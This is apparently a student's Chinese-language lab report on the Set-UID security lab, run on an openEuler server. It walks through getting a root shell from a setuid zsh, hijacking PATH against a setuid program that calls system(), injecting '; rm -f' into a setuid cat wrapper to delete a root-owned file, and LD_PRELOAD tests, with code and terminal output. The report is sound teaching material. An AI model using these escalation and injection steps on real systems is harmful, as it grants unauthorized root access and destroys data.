Lab 1:Set-UID Program Vulnerability
一、实验概况
1.1 实验描述
Set-UID是Unix操作系统中一种重要的安全机制。运行Set-UID程序时,它将采用所有者的权限。例如,如果程序的所有者是root,那么任何人运行此程序时,程序在执行期间获得root权限。Set-UID允许我们做很多有趣的事情,但不幸的是,它也是很多坏事的罪魁祸首。 因此,本实验的目标有两个方面:
- 欣赏其良好的一面:理解为什么需要Set-UID以及如何实现它
- 注意其不好的一面:了解其潜在的安全问题
1.2 机器环境
我使用的配置是居于华为国产处理器鲲鹏920与华为开源操作系统OpenEuler
- CPU:Huawei Kunpeng 920 3.0GHz * 2vCPUs
- RAM:4GB
- OS:openEuler 20.03 LTS
二、实验内容
2.1 task 1
2.1.1 实验任务
弄清楚为什么“passwd”,“chsh”,“su”,和“sudo”命令需要Set-UID机制,如果它们没有这些机制的话,会发生什么,如果你不熟悉这些程序,你可以通话阅读使用手册来熟悉它,如果你拷贝这些命令到自己的目录下,这些程序就不会是Set-UID程序,运行这些拷贝的程序,观察将会发生什么
其中,“passwd”用来修改用户的密码;“chsh”用来修改默认sh;“su”用来获取super user权限;“sudo”用来执行一个需要管理员权限的命令
2.1.2 实验流程
由于OpenEuler在华为云服务器上默认的登录用户是root,为了实验效果的准确性,需要重新建立一个zxy普通用户
首先创建一个新用户:
root@ecs-kc1-large-2-linux-20201025105424:~# sudo adduser zxy
然后将zxy用户添加到sudo组内:
root@ecs-kc1-large-2-linux-20201025105424:~# sudo adduser zxy sudo
Adding user `zxy' to group `sudo' ...
Adding user zxy to group sudo
Done.
切换到zxy用户中:
root@ecs-kc1-large-2-linux-20201025105424:~# su zxy
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
利用“whereis”命令找到su文件所属位置路径
zxy@ecs-kc1-large-2-linux-20201025105424:~$ whereis su
su: /bin/su /usr/share/man/man1/su.1.gz
拷贝“su”到zxy用户的工作目录下,并查看是否复制成功
zxy@ecs-kc1-large-2-linux-20201025105424:~$ cp /bin/su ./
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls ./
su
运行当前文件中的su,发现无法认证
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./su
Password:
su: Authentication failure
运行/bin文件夹中的su,发现可以获得super user权限
zxy@ecs-kc1-large-2-linux-20201025105424:~$ /bin/su
Password:
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy#
与上述四步相似的过程测试其他命令
sudo:
在当前文件下的sudo不可用,提示:必须属于用户ID 0并且设置setuid位;但在/usr/bin下的可正常使用
zxy@ecs-kc1-large-2-linux-20201025105424:~$ whereis sudo
sudo: /usr/bin/sudo /usr/lib/sudo /usr/share/man/man8/sudo.8.gz
zxy@ecs-kc1-large-2-linux-20201025105424:~$ cp /usr/bin/sudo ./
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls -all
total 200
drwxr-xr-x 2 zxy zxy 4096 Mar 21 15:12 .
drwxr-xr-x 3 root root 4096 Mar 21 14:46 ..
-rw-r--r-- 1 zxy zxy 220 Mar 21 14:46 .bash_logout
-rw-r--r-- 1 zxy zxy 3771 Mar 21 14:46 .bashrc
-rw-r--r-- 1 zxy zxy 807 Mar 21 14:46 .profile
-rwxr-xr-x 1 zxy zxy 40368 Mar 21 14:56 su
-rwxr-xr-x 1 zxy zxy 136616 Mar 21 15:12 sudo
-rw-r--r-- 1 zxy zxy 0 Mar 21 15:00 .sudo_as_admin_successful
-rw------- 1 root root 698 Mar 21 15:00 .viminfo
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./sudo
sudo: ./sudo must be owned by uid 0 and have the setuid bit set
zxy@ecs-kc1-large-2-linux-20201025105424:~$ /usr/bin/sudo
usage: sudo -h | -K | -k | -V
usage: sudo -v [-AknS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -l [-AknS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command]
usage: sudo [-AbEHknPS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u
user] [VAR=value] [-i|-s] [<command>]
usage: sudo -e [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u
user] file ...
passwd
在当前文件下的passwd不可用,提示:认证令牌操作错误;但在/usr/bin下的可以正常使用,显示:已成功更新密码
zxy@ecs-kc1-large-2-linux-20201025105424:~$ whereis passwd
passwd: /usr/bin/passwd /etc/passwd /usr/share/man/man1/passwd.1ssl.gz /usr/share/man/man1/passwd.1.gz /usr/share/man/man5/passwd.5.gz
zxy@ecs-kc1-large-2-linux-20201025105424:~$ cp /usr/bin/passwd ./
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls -all
total 256
drwxr-xr-x 2 zxy zxy 4096 Mar 21 15:15 .
drwxr-xr-x 3 root root 4096 Mar 21 14:46 ..
-rw-r--r-- 1 zxy zxy 220 Mar 21 14:46 .bash_logout
-rw-r--r-- 1 zxy zxy 3771 Mar 21 14:46 .bashrc
-rwxr-xr-x 1 zxy zxy 55288 Mar 21 15:15 passwd
-rw-r--r-- 1 zxy zxy 807 Mar 21 14:46 .profile
-rwxr-xr-x 1 zxy zxy 40368 Mar 21 14:56 su
-rwxr-xr-x 1 zxy zxy 136616 Mar 21 15:12 sudo
-rw-r--r-- 1 zxy zxy 0 Mar 21 15:00 .sudo_as_admin_successful
-rw------- 1 root root 698 Mar 21 15:00 .viminfo
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./passwd
Changing password for zxy.
(current) UNIX password:
passwd: Authentication token manipulation error
passwd: password unchanged
zxy@ecs-kc1-large-2-linux-20201025105424:~$ /usr/bin/passwd
Changing password for zxy.
(current) UNIX password:
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
chsh
在当前文件下的chsh不可用,提示:无法改变ID到root;但在/usr/bin下的可以正常使用
zxy@ecs-kc1-large-2-linux-20201025105424:~$ whereis chsh
chsh: /usr/bin/chsh /usr/share/man/man1/chsh.1.gz
zxy@ecs-kc1-large-2-linux-20201025105424:~$ cp /usr/bin/chsh ./
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls -all
total 296
drwxr-xr-x 2 zxy zxy 4096 Mar 21 15:24 .
drwxr-xr-x 3 root root 4096 Mar 21 14:46 ..
-rw-r--r-- 1 zxy zxy 220 Mar 21 14:46 .bash_logout
-rw-r--r-- 1 zxy zxy 3771 Mar 21 14:46 .bashrc
-rwxr-xr-x 1 zxy zxy 40216 Mar 21 15:24 chsh
-rwxr-xr-x 1 zxy zxy 55288 Mar 21 15:15 passwd
-rw-r--r-- 1 zxy zxy 807 Mar 21 14:46 .profile
-rwxr-xr-x 1 zxy zxy 40368 Mar 21 14:56 su
-rwxr-xr-x 1 zxy zxy 136616 Mar 21 15:12 sudo
-rw-r--r-- 1 zxy zxy 0 Mar 21 15:00 .sudo_as_admin_successful
-rw------- 1 root root 698 Mar 21 15:00 .viminfo
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./chsh
Password:
Changing the login shell for zxy
Enter the new value, or press ENTER for the default
Login Shell [/bin/bash]:
Cannot change ID to root.
zxy@ecs-kc1-large-2-linux-20201025105424:~$ /usr/bin/chsh
Password:
Changing the login shell for zxy
Enter the new value, or press ENTER for the default
Login Shell [/bin/bash]:
2.1.3 问题回答
setuid机制是一种控制用户权限的机制,因为“passwd”、“chsh”、“su”、“suso”都需要使得用户在普通权限下临时具有root权限,从而可以访问和修改一些root权限下的文件。如果没有setuid程序,那么普通用户讲没有权限修改自己的密码,没有权限运行很多程序,不能安装软件等。所以setuid是必要的机制
2.2 task 2
2.2.1 实验任务
在linux环境下运行Set-UID 程序,以root方式登录,拷贝/bin/zsh 到/tmp, 同时设置拷贝到tmp目录下的zsh为set-uid root权限,然后以普通用户登录,运行/tmp/zsh。你会得到root权限吗?请描述你的结果
2.2.2 实验流程
安装zsh
zxy@ecs-kc1-large-2-linux-20201025105424:~$ sudo apt install zsh
拷贝/bin/zsh到zxy用户的工作目录,同时设置拷贝到工作目录下的zsh为set-uid root权限
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# cp /bin/zsh ./
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -all
total 1012
drwxr-xr-x 2 zxy zxy 4096 Mar 21 15:51 .
drwxr-xr-x 3 root root 4096 Mar 21 14:46 ..
-rw-r--r-- 1 zxy zxy 220 Mar 21 14:46 .bash_logout
-rw-r--r-- 1 zxy zxy 3771 Mar 21 14:46 .bashrc
-rwxr-xr-x 1 zxy zxy 40216 Mar 21 15:24 chsh
-rwxr-xr-x 1 zxy zxy 55288 Mar 21 15:15 passwd
-rw-r--r-- 1 zxy zxy 807 Mar 21 14:46 .profile
-rwxr-xr-x 1 zxy zxy 40368 Mar 21 14:56 su
-rwxr-xr-x 1 zxy zxy 136616 Mar 21 15:12 sudo
-rw-r--r-- 1 zxy zxy 0 Mar 21 15:00 .sudo_as_admin_successful
-rw------- 1 root root 698 Mar 21 15:00 .viminfo
-rwxr-xr-x 1 root root 730432 Mar 21 15:51 zsh
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# chmod 4755 zsh
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -all
total 1012
drwxr-xr-x 2 zxy zxy 4096 Mar 21 15:51 .
drwxr-xr-x 3 root root 4096 Mar 21 14:46 ..
-rw-r--r-- 1 zxy zxy 220 Mar 21 14:46 .bash_logout
-rw-r--r-- 1 zxy zxy 3771 Mar 21 14:46 .bashrc
-rwxr-xr-x 1 zxy zxy 40216 Mar 21 15:24 chsh
-rwxr-xr-x 1 zxy zxy 55288 Mar 21 15:15 passwd
-rw-r--r-- 1 zxy zxy 807 Mar 21 14:46 .profile
-rwxr-xr-x 1 zxy zxy 40368 Mar 21 14:56 su
-rwxr-xr-x 1 zxy zxy 136616 Mar 21 15:12 sudo
-rw-r--r-- 1 zxy zxy 0 Mar 21 15:00 .sudo_as_admin_successful
-rw------- 1 root root 698 Mar 21 15:00 .viminfo
-rwsr-xr-x 1 root root 730432 Mar 21 15:51 zsh
然后以普通用户登录,运行zsh,并执行需要root权限的操作,可见zsh是能获得root权限的,zsh没有关于setuid的保护机制,zsh是不安全的
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# su zxy
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./zsh
ecs-kc1-large-2-linux-20201025105424# apt update
Hit:1 https://repo.huaweicloud.com/ubuntu-ports bionic InRelease
Hit:2 https://mirrors.aliyun.com/docker-ce/linux/ubuntu bionic InRelease
Hit:3 https://repo.huaweicloud.com/ubuntu-ports bionic-security InRelease
然后测试bash
zxy@ecs-kc1-large-2-linux-20201025105424:~$ cp /bin/bash ./
zxy@ecs-kc1-large-2-linux-20201025105424:~$ chmod 4755 bash
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls -all
total 2080
drwxr-xr-x 2 zxy zxy 4096 Mar 21 16:08 .
drwxr-xr-x 3 root root 4096 Mar 21 14:46 ..
-rwsr-xr-x 1 zxy zxy 1046904 Mar 21 16:08 bash
-rw-r--r-- 1 zxy zxy 220 Mar 21 14:46 .bash_logout
-rw-r--r-- 1 zxy zxy 3771 Mar 21 14:46 .bashrc
-rwxr-xr-x 1 zxy zxy 40216 Mar 21 15:24 chsh
-rwxr-xr-x 1 zxy zxy 55288 Mar 21 15:15 passwd
-rw-r--r-- 1 zxy zxy 807 Mar 21 14:46 .profile
-rwxr-xr-x 1 zxy zxy 40368 Mar 21 14:56 su
-rwxr-xr-x 1 zxy zxy 136616 Mar 21 15:12 sudo
-rw-r--r-- 1 zxy zxy 0 Mar 21 15:00 .sudo_as_admin_successful
-rw------- 1 root root 698 Mar 21 15:00 .viminfo
-rw-rw-r-- 1 root zxy 42381 Mar 21 15:57 .zcompdump
-rwsr-xr-x 1 root root 730432 Mar 21 15:51 zsh
测试发现bash在同样情况下,无法获得root权限,由此可见bash比zxh更要为安全
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./bash
zxy@ecs-kc1-large-2-linux-20201025105424:~$
2.3 task 3
2.3.1 实验任务
从题目2可以看出,/bin/bash有某种内在的保护机制可以阻止Set-UID机制的滥用。为了能够体验这种内在的保护机制出现之前的情形,我们打算使用另外一种/bin/zsh。在一些linux的发行版中(比如Redora和Ubuntu),/bin/sh实际上是/bin/bash的符号链接。为了使用zsh,我们需要把/bin/sh链接到/bin/zsh
2.3.2 实验流程
把默认的shell指向zsh
zxy@ecs-kc1-large-2-linux-20201025105424:~$ su
Password:
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -ls /bin/sh
0 lrwxrwxrwx 1 root root 4 Nov 26 2019 /bin/sh -> dash
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# rm -rf /bin/sh
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ln -s /bin/zsh sh
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -ls /bin/sh
0 lrwxrwxrwx 1 root root 8 Mar 21 16:14 /bin/sh -> /bin/zsh
2.4 task 4
2.4.1 实验任务
system(const char * cmd)
系统调用函数被内嵌到一个程序中执行一个命令,system()
调用/bin/sh
来执行shell程序,然后shell程序区执行cmd命令。但是在一个Set-UID程序中system()
函数调用shell是非常危险的,这是因为shell程序的行为可以被环境变量影响,比如PATH
;而这些环境变量可以在用户的控制当中。通过控制这些变量,用心险恶的用户就可以控制Set-UID程序的行为
(1)你能够设置这个Set-UID程序运行你自己的代码而不是/bin/ls吗?如果你能的话,你的代码具有root权限吗?描述并解释你的观察
(2)修改/bin/sh使得其返回到/bin/bash,重复上面的攻击,你仍然可以获得root权限吗?描述并解释你的观察
2.4.2 实验流程
编写lab1-4.c
zxy@ecs-kc1-large-2-linux-20201025105424:~$ vim lab1-4.c
源代码:
#include<stdio.h>
#include<stdlib.h>
int main()
{
system("ls");
return 0;
}
编译程序并且更改其权限,程序可以正常运行
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# vim lab1-4.c
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# gcc lab1-4.c -g -o lab1-4
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# chmod u+s lab1-4
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -all
total 2096
drwxr-xr-x 2 zxy zxy 4096 Mar 21 16:47 .
drwxr-xr-x 3 root root 4096 Mar 21 14:46 ..
-rwsr-xr-x 1 zxy zxy 1046904 Mar 21 16:08 bash
-rw-r--r-- 1 zxy zxy 220 Mar 21 14:46 .bash_logout
-rw-r--r-- 1 zxy zxy 3771 Mar 21 14:46 .bashrc
-rwxr-xr-x 1 zxy zxy 40216 Mar 21 15:24 chsh
-rwsr-xr-x 1 root root 11624 Mar 21 16:47 lab1-4
-rw-rw-r-- 1 zxy zxy 78 Mar 21 16:47 lab1-4.c
-rwxr-xr-x 1 zxy zxy 55288 Mar 21 15:15 passwd
-rw-r--r-- 1 zxy zxy 807 Mar 21 14:46 .profile
lrwxrwxrwx 1 root root 8 Mar 21 16:14 sh -> /bin/zsh
-rwxr-xr-x 1 zxy zxy 40368 Mar 21 14:56 su
-rwxr-xr-x 1 zxy zxy 136616 Mar 21 15:12 sudo
-rw-r--r-- 1 zxy zxy 0 Mar 21 15:00 .sudo_as_admin_successful
-rw------- 1 root root 698 Mar 21 15:00 .viminfo
-rw-rw-r-- 1 root zxy 42381 Mar 21 15:57 .zcompdump
-rwsr-xr-x 1 root root 730432 Mar 21 15:51 zsh
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# su zxy
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls
bash chsh lab1-4 lab1-4.c passwd sh su sudo zsh
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./lab1-4
bash chsh lab1-4 lab1-4.c passwd sh su sudo zsh
尝试修改PATH中路径,替换掉ls指令为攻击者设定的程序,将想要运行的程序重命名为ls放入修改后PATH路径,这里我们将运行的程序修改为zsh
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -ls sh
0 lrwxrwxrwx 1 root root 8 Mar 21 16:14 sh -> /bin/zsh
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# mv sh ls
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -ls ls
0 lrwxrwxrwx 1 root root 8 Mar 21 16:14 ls -> /bin/zsh
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/root/Download/gcc-arm-10.2-2020.11-aarch64-arm-none-linux-gnueabihf/bin
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# su zxy
zxy@ecs-kc1-large-2-linux-20201025105424:~$ PATH=/home/zxy:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/root/Download/gcc-arm-10.2-2020.11-aarch64-arm-none-linux-gnueabihf/bin
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./lab1-4
ecs-kc1-large-2-linux-20201025105424# apt update
Hit:1 https://repo.huaweicloud.com/ubuntu-ports bionic InRelease
Hit:2 https://repo.huaweicloud.com/ubuntu-ports bionic-security InRelease
然后我们将篡改的程序修改为bash
zxy@ecs-kc1-large-2-linux-20201025105424:~$ PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/root/Download/gcc-arm-10.2-2020.11-aarch64-arm-none-linux-gnueabihf/bin
zxy@ecs-kc1-large-2-linux-20201025105424:~$ rm -rf ls
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ln -s /bin/bash ls
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls -all
total 2096
drwxr-xr-x 2 zxy zxy 4096 Mar 21 17:28 .
drwxr-xr-x 3 root root 4096 Mar 21 14:46 ..
-rwsr-xr-x 1 zxy zxy 1046904 Mar 21 16:08 bash
-rw-r--r-- 1 zxy zxy 220 Mar 21 14:46 .bash_logout
-rw-r--r-- 1 zxy zxy 3771 Mar 21 14:46 .bashrc
-rwxr-xr-x 1 zxy zxy 40216 Mar 21 15:24 chsh
-rwsr-xr-x 1 root root 11624 Mar 21 16:47 lab1-4
-rw-rw-r-- 1 zxy zxy 78 Mar 21 16:47 lab1-4.c
lrwxrwxrwx 1 zxy zxy 9 Mar 21 17:28 ls -> /bin/bash
-rwxr-xr-x 1 zxy zxy 55288 Mar 21 15:15 passwd
-rw-r--r-- 1 zxy zxy 807 Mar 21 14:46 .profile
-rwxr-xr-x 1 zxy zxy 40368 Mar 21 14:56 su
-rwxr-xr-x 1 zxy zxy 136616 Mar 21 15:12 sudo
-rw-r--r-- 1 zxy zxy 0 Mar 21 15:00 .sudo_as_admin_successful
-rw------- 1 root root 698 Mar 21 15:00 .viminfo
-rw-rw-r-- 1 root zxy 42381 Mar 21 15:57 .zcompdump
-rwsr-xr-x 1 root root 730432 Mar 21 15:51 zsh
zxy@ecs-kc1-large-2-linux-20201025105424:~$ PATH=/home/zxy:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/root/Download/gcc-arm-10.2-2020.11-aarch64-arm-none-linux-gnueabihf/bin
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./lab1-4
ls-4.4$ apt update
Reading package lists... Done
E: Could not open lock file /var/lib/apt/lists/lock - open (13: Permission denied)
E: Unable to lock directory /var/lib/apt/lists/
2.4.3 问题回答
P1:
可见能够设置这个Set-UID程序运行自己的代码而不是/bin/ls,基本思路是通过修改PATH变量。攻击者可以利用system查找程序时PATH的顺序来攻击。可见这样的程序是存在漏洞的。
P2:
可见修改/bin/sh使得其返回到/bin/bash,重复上面的攻击,不可以获得root权限。bash有某种内在的保护机制可以防止这种攻击
2.5 task 5
2.5.1 实验任务
Bob在为一家审计代理处工作,他正在调查一家公司是否存在诈骗行为。为了这个目的,他需要阅读这家公司在Unix系统中的所有文件;另一方面,为了保护系统的可靠性,他不能修改任何一个文件。为了达到这个目的,Vince——系统的超级用户为他写了一个SET-ROOT-UID程序,并且给了Bob可以执行它的权限。这个程序需要Bob在命令行中打出一个文件名,然后运行/bin/cat命令显示这个文件。既然这个程序是以root权限运行的,它就可以显示Bob想看的任何一个文件。然而,既然这个程序没有写操作,Vince很确信Bob不能用这个程序修改任何文件
(1)令q=0;这种方式,程序会使用system()
调用命令行。这个命令安全吗?如果你是Bob,你能对系统的完整性妥协吗?你能重新修改一个你没有写权限的文件吗?
2.5.2 实验流程
在执行这个文件前,需要确保/bin/sh指向zsh
zxy@ecs-kc1-large-2-linux-20201025105424:~$ sudo rm -rf /bin/sh
[sudo] password for zxy:
zxy@ecs-kc1-large-2-linux-20201025105424:~$ sudo ln -s /bin/sh /bin/zsh
0 lrwxrwxrwx 1 root root 8 Mar 21 18:21 /bin/sh -> /bin/zsh
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls -ls /bin/sh
0 lrwxrwxrwx 1 root root 8 Mar 21 18:21 /bin/sh -> /bin/zsh
编写lab1-5.c
zxy@ecs-kc1-large-2-linux-20201025105424:~$ vim lab1-5.c
源码:
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
int main(int argc,char *argv[])
{
char *v[3];
if(argc<2){
printf("Please type a file name.\n");
return 1;
}
v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = 0;
int q = 0;
if(q==0){
char *command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
sprintf(command, "%s %s", v[0], v[1]);
system(command);
}
else execve(v[0], v, 0);
return 0 ;
}
模拟攻击,编译lab1-5.c并将lab1-5设置为setuid root程序
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# gcc lab1-5.c -o lab1-5 -g
lab1-5.c: In function ‘main’:
lab1-5.c:18:10: warning: implicit declaration of function ‘execve’ [-Wimplicit-function-declaration]
else execve(v[0], v, 0);
^~~~~~
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# chmod 4755 lab1-5
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -l ./lab1-5
-rwsr-xr-x 1 root root 12248 Mar 21 18:29 ./lab1-5
创建rootfile.dat文件在里面写入数据
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# vim rootfile.dat
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# cat rootfile.dat
Hello Bob
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -l rootfile.dat
-rw-r--r-- 1 root root 10 Mar 21 18:31 rootfile.dat
然后执行lab1-5时,在程序的后面添加rm -rf rootfile.bat
,这样system会继续执行该命令,并且删除文件
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# su zxy
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./lab1-5 "rootfile.dat; rm -f rootfile.dat"
Hello Bob
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls
bash chsh lab1-4 lab1-4.c lab1-5 lab1-5.c ls passwd su sudo zsh
可见rootfle.dat不属于Bob,但是Bob能成功利用漏洞将其删除
而后编辑lab1-5.c,将q值赋为1
zxy@ecs-kc1-large-2-linux-20201025105424:~$ vim lab1-5.c
源码:
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
int main(int argc,char *argv[])
{
char *v[3];
if(argc<2){
printf("Please type a file name.\n");
return 1;
}
v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = 0;
int q = 1;
if(q==0){
char *command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
sprintf(command, "%s %s", v[0], v[1]);
system(command);
}
else execve(v[0], v, 0);
return 0 ;
}
而后重复上述攻击
zxy@ecs-kc1-large-2-linux-20201025105424:~$ su
Password:
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# gcc lab1-5.c -o lab1-5 -g
lab1-5.c: In function ‘main’:
lab1-5.c:18:10: warning: implicit declaration of function ‘execve’ [-Wimplicit-function-declaration]
else execve(v[0], v, 0);
^~~~~~
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# chmod 4755 lab1-5
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ls -l lab1-5
-rwsr-xr-x 1 root root 12248 Mar 21 18:41 lab1-5
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# echo "Hello Bob" > rootfile.dat
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# su zxy
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./lab1-5 "rootfile.dat; rm -f rootfile.dat"
/bin/cat: 'rootfile.dat; rm -f rootfile.dat': No such file or directory
可见无效果,具体的原因是system的工作方式是将后续的命令传递给shell,直接由本进程(父进程)执行命令,这样就可能被利用shell漏洞攻击。而execve是创建子进程,参数是传给子进程的,而setuid权限不会进行权限的继承,子进程无setuid权限,因此可以防止此类攻击
2.5.3 问题回答
P1:
这个命令不安全,因为system函数在这个程序里面受到用户输入的直接影响,提供给了用户构造攻击指令的空间,而且对setuid机制并无安全保护机制,使得任意用户可以通过这个程序和函数实现root权限下的任意指令执行;所以无法保证系统完整性;Bob可以删除无权访问的文件
2.6 task 6
2.6.1 实验任务
为了保证Set-UID程序在LD_PRELOAD环境的操纵下是安全的,动态链接器会忽略环境变量,但是在某些条件下是例外的,在下面的任务中,我们猜测这些特殊的条件到底是什么
2.6.2 实验步骤
建立一个动态链接库。把下面的程序命名为mylib.c。在函数库libc中重载了sleep函数
zxy@ecs-kc1-large-2-linux-20201025105424:~$ vim mylib.c
源码
#include<stdio.h>
void sleep(int s){
printf("I am not sleeping\n");
}
编译mylib.c
zxy@ecs-kc1-large-2-linux-20201025105424:~$ gcc -fPIC -g -c mylib.c
zxy@ecs-kc1-large-2-linux-20201025105424:~$ gcc -shared -Wl,-soname,libmylib.so.1 -o libmylib.so.1.0.1 mylib.o -lc
zxy@ecs-kc1-large-2-linux-20201025105424:~$ export LD_PRELOAD=./libmylib.so.1.0.1
编写myprog.c
zxy@ecs-kc1-large-2-linux-20201025105424:~$ vim myprog.c
源码
#include<stdio.h>
int main(){
sleep(1);
return 0;
}
在普通用户编译myprog.c并运行,发现链接到的是mylib
zxy@ecs-kc1-large-2-linux-20201025105424:~$ gcc myprog.c -o myprog
myprog.c: In function ‘main’:
myprog.c:3:5: warning: implicit declaration of function ‘sleep’ [-Wimplicit-function-declaration]
sleep(1);
^~~~~
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ldd myprog
linux-vdso.so.1 (0x0000ffff8cf49000)
./libmylib.so.1.0.1 (0x0000ffff8cef9000)
libc.so.6 => /lib/aarch64-linux-gnu/libc.so.6 (0x0000ffff8cda0000)
/lib/ld-linux-aarch64.so.1 (0x0000ffff8cf1d000)
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./myprog
I am not sleeping
在root下编译myprog.out,在普通用户下执行,发现是链接到真正的lib中
zxy@ecs-kc1-large-2-linux-20201025105424:~$ su
Password:
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# gcc myprog.c -o myprog
myprog.c: In function ‘main’:
myprog.c:3:5: warning: implicit declaration of function ‘sleep’ [-Wimplicit-function-declaration]
sleep(1);
^~~~~
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ldd myprog
linux-vdso.so.1 (0x0000ffffb8e1f000)
libc.so.6 => /lib/aarch64-linux-gnu/libc.so.6 (0x0000ffffb8c88000)
/lib/ld-linux-aarch64.so.1 (0x0000ffffb8df3000)
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ./myprog
在root下编译myprog,并设置为setuid程序,在root下执行,发行时链接到mylib.c
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# rm -rf myprog
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# export LD_PRELOAD=./libmylib.so.1.0.1
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# gcc myprog.c -o myprog
myprog.c: In function ‘main’:
myprog.c:3:5: warning: implicit declaration of function ‘sleep’ [-Wimplicit-function-declaration]
sleep(1);
^~~~~
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# chmod 4755 myprog
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ldd myprog
linux-vdso.so.1 (0x0000ffffbcc34000)
./libmylib.so.1.0.1 (0x0000ffffbcbe4000)
libc.so.6 => /lib/aarch64-linux-gnu/libc.so.6 (0x0000ffffbca8b000)
/lib/ld-linux-aarch64.so.1 (0x0000ffffbcc08000)
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# ./myprog
I am not sleeping
在其它用户下执行时,还是链接到真正的lib
root@ecs-kc1-large-2-linux-20201025105424:/home/zxy# su zxy
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ./myprog
zxy@ecs-kc1-large-2-linux-20201025105424:~$
在一个普通用户下把myprog编译成一个Set-UID 普通用户的程序在另一个普通用户下运行。在这种情况下,不会重载sleep函数
zxy@ecs-kc1-large-2-linux-20201025105424:~$ rm -rf myprog
zxy@ecs-kc1-large-2-linux-20201025105424:~$ export LD_PRELOAD=./libmylib.so.1.0.1
zxy@ecs-kc1-large-2-linux-20201025105424:~$ gcc myprog.c -o myprog
myprog.c: In function ‘main’:
myprog.c:3:5: warning: implicit declaration of function ‘sleep’ [-Wimplicit-function-declaration]
sleep(1);
^~~~~
zxy@ecs-kc1-large-2-linux-20201025105424:~$ chmod 4755 myprog
zxy@ecs-kc1-large-2-linux-20201025105424:~$ ls -l myprog
-rwsr-xr-x 1 zxy zxy 8992 Mar 21 19:06 myprog
zxy@ecs-kc1-large-2-linux-20201025105424:~$ su test
Password:
test@ecs-kc1-large-2-linux-20201025105424:/home/zxy$ ./myprog
test@ecs-kc1-large-2-linux-20201025105424:/home/zxy$
